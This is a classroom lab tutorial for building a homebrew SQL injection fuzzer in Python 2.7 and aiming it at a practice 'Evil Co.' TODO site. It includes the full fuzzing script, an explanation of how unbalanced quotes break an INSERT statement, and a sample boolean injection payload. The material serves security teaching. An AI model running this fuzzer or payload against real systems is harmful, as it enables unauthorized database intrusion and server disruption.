Homebrew SQLi Fuzzer!¶
Coding¶
Tutorial:
- Visit repl.it and create a new Python 2.7 (not Python but Python 2.7) Repl.
- Create a new file and call it
fuzz.txt
. Then select all, copy and paste this into your new file - Open up main.py and start coding. We'll first need to import some important modules:
1 2 3
import requests from pyquery import PyQuery as pq from difflib import SequenceMatcher
- Next, we need a place to store our results:
1 2
allResponses = [] suspiciousResponses = []
- We need to connect and log into the website. Make sure you created an account already.
1 2
session = requests.Session() session.post("POST URL HERE", data={ 'username': 'YOUR USERNAME', 'password': 'YOUR PASSWORD' })
- In the Lab Notes, under Section 1 step 5, you recorded the Request Url.
- Replace
POST URL HERE
with the Request Url you found. If you can't find it, ask us! - Replace
YOUR USERNAME
andYOUR PASSWORD
with your username and password respectively.
- Our fuzzer needs to read the list from
fuzz.txt
:1 2
fp = open('fuzz.txt', 'r') rp = open('result.txt',"w+")
-
Ok, this is where the magic happens. We will send each line of
fuzz.txt
to the server and record the response. We will then mark the responses that look suspicious:1 2 3 4 5 6 7 8 9 10 11 12 13 14
# Start for print "Printing errored responses...\n" rp.write("Printing errored responses...\n") for i, line in enumerate(fp): response = session.post("TODO URL HERE", data={ 'item': line }) jquery = pq(response.content) result = jquery('.card .card-content .content').html() allResponses.append("%s %s" % (response, line)) if response.status_code != 200: print "%s %s" % (response, line), rp.write("%s %s" % (response, line)) elif result != line and result != None: suspiciousResponses.append((SequenceMatcher(None, line, result).ratio(), i)) # End for
- In the Lab Notes, under Section 1 step 7, you recorded another Request Url.
- Replace
TODO URL HERE
with that Request Url you found. - On line 9, we print all the errored responses and their response code.
-
Now we have to print out all our suspicious responses:
1 2 3 4 5 6
print "\n\nPrinting suspicious responses..." rp.write("\n\nPrinting suspicious responses...\n") suspiciousResponses.sort(key=lambda tup: tup[0]) for a in suspiciousResponses: print allResponses[a[1]], rp.write(allResponses[a[1]], )
-
Finally, we gotta clean up our mess:
1 2 3
print "\nComplete!" fp.close() rp.close()
-
Great, press "Run" and wait like 5-7 minutes for this thing to run. Be patient. Good things take time. If you think something went wrong, please let us know!
Danger
If you fail once, let us know. If the responses are frozen/taking way too long, let us know. You might have to create a new account. If you're responses come in as error 520, then you've crashed the server. Let us know.
Pro Tip
Clear the Repl.it console output before you run (by finding and clicking the button)!
-
Here is an example of what the output should look like (warning, very long list!).
Interpreting the Results¶
Guidelines:
-
Pick out the top 10 errored responses. What are they?
- What do you notice? What do they have in common?
Answer
They all have an odd number of single quotes
'
- Think about why this causes an error.
Answer
Suppose our SQL statement was:
If we replaced1
INSERT INTO blah (a, b, c)('item1', 'item2', 'Inject me')
Inject me
with an odd number of single quotes (i.e., 1):
Then the quotes won't be balanced (i.e., they won't form a matching pair) and the server will return an error.1
INSERT INTO blah (a, b, c)('item1', 'item2', ''')
- How can we exploit this?
-
Pick out the top 3 suspicious responses. What are they?
- Why are they suspicious?
- Login to your Evil Co. account/create a new account (doesn't matter).
-
Create a new TODO item and paste in one of your top 3 suspicious results under "Your To-Do Action". For example, the top-most suspicious response in the Sample Results was:
I would then create a TODO with1
%' AND 8310=8310 AND '%'='
%' AND 8310=8310 AND '%'='
as the "Your To-Do Action".- What do you notice? Why are they suspicious?
Answer
They are suspicious because the displayed TODO item is different than what you entered. For example, if I submitted the TODO item:
What is expected is exactly what I entered, but instead you see:1
%' AND 8310=8310 AND '%'='
1 2
Urgent 0
- Can you exploit this now?